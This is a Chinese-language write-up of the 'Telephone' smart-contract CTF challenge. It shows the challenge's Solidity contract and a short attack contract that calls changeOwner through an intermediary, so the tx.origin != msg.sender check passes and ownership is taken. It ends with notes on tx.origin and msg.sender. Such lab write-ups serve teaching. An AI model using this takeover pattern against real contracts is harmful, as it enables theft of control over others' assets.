Telephone
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
题目要求
这道题目要求获得合约的owner
权限即可
题目分析
我们通过调用合约查询方法可以看到部署后的owner
和player
是不同的账号地址。我们需要成功调用changeOwner
方法来修改合约的owner
权限给player
。
changeOwner
方法中有tx.origin != msg.sender
的判断。所以我们需要部署一个合约,通过合约调用目标合约即可满足tx.origin != msg.sender
的检查
攻击步骤
- 实现以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
function attackChangeOwner(ITelephone _telephone,address _owner) external {
_telephone.changeOwner(_owner);
}
}
- 通过控制台分别获取题目合约地址和
player
地址
// 获取部署的题目合约地址
instance
// 获取player账号地址
player
- 调用
attackChangeOwner
方法,修改目标合约的owner
题目知识点
- msg.sender: 是指调用当前合约的地址,可能是用户账户地址或者是合约地址
- tx.origin: 只能是发起调用的用户钱包地址
当用户直接调用合约接口时tx.origin == msg.sender
. 当用户调用 A 合约,A 合约再去调用 B 合约时。B 合约的msg.sender
是 A 合约地址,tx.origin
是用户钱包地址